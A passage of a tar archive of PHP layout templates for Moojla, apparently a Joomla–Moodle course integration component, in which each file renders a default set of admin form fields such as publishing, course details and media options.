// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/audio_left.php000064400000004374151165724400012405
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage audio_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'useglobalaudio',
'preventdownloadaudio',
'preloadaudio',
'autoplayaudio'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/details_above.php000064400000004456151165724400013074
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_above.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'alias',
'shortname',
'fullname',
'permanent_fields',
'catid'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<div class="form-inline form-inline-header">
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
</div>
<?php endif; ?>
layouts/course/details_left.php000064400000004424151165724400012725
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'cat_id',
'cat_name',
'currency',
'self_enrolment',
'startdate',
'summary_files',
'teachers'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/details_right.php000064400000004372151165724400013112
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'cost',
'remoteid',
'guest',
'in_enrol_date',
'enddate',
'summary'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/index.html000064400000000054151165724400011545
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/course/metadata.php000064400000003536151165724400012051
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage metadata.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$form = $displayData->getForm();
// JLayout for standard handling of metadata fields in the administrator
content edit screens.
$fieldSets = $form->getFieldsets('metadata');
?>
<?php foreach ($fieldSets as $name => $fieldSet) : ?>
<?php if (isset($fieldSet->description) &&
trim($fieldSet->description)) : ?>
<p class="alert alert-info"><?php echo
$this->escape(JText::_($fieldSet->description)); ?></p>
<?php endif; ?>
<?php
// Include the real fields in this panel.
if ($name == 'vdmmetadata')
{
echo $form->renderField('metadesc');
echo $form->renderField('metakey');
}
foreach ($form->getFieldset($name) as $field)
{
if ($field->name != 'jform[metadata][tags][]')
{
echo $field->renderField();
}
} ?>
<?php endforeach; ?>
layouts/course/moodle_access_left.php000064400000004452151165724400014101
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moodle_access_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'availabilityinfolink',
'redirect_after_enrol',
'showlogintab',
'loginurl',
'alterurl',
'enterlbl',
'buylbl'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/moodle_access_right.php000064400000004446151165724400014267
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moodle_access_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'cangotomoodle',
'popupbutton',
'showregtab',
'registrationurl',
'loginlbl',
'freeenterlbl',
'enrollbl'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/publishing.php000064400000004446151165724400012436
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by',
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/templates_left.php000064400000004332151165724400013274
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage templates_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'course_templatestyle_forcourseconfig'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/templates_right.php000064400000004313151165724400013456
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage templates_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'course_detail_layout'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/video_left.php000064400000004432151165724400012405
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage video_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'useglobalvideo',
'videotype',
'preventdownload',
'addcontrols',
'preloadvideo',
'autoplay',
'muted'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_field_mapper/details_left.php000064400000004340151165724400015431
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'coursefield',
'mcoursefields',
'field_icon'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_field_mapper/index.html000064400000000054151165724400014254
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/course_field_mapper/publishing.php000064400000004357151165724400015146
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_field_mapper/publlshing.php000064400000004357151165724400015151
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'access',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_group_map/details_left.php000064400000004311151165724400014771
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'moojlacourse',
'role'
);
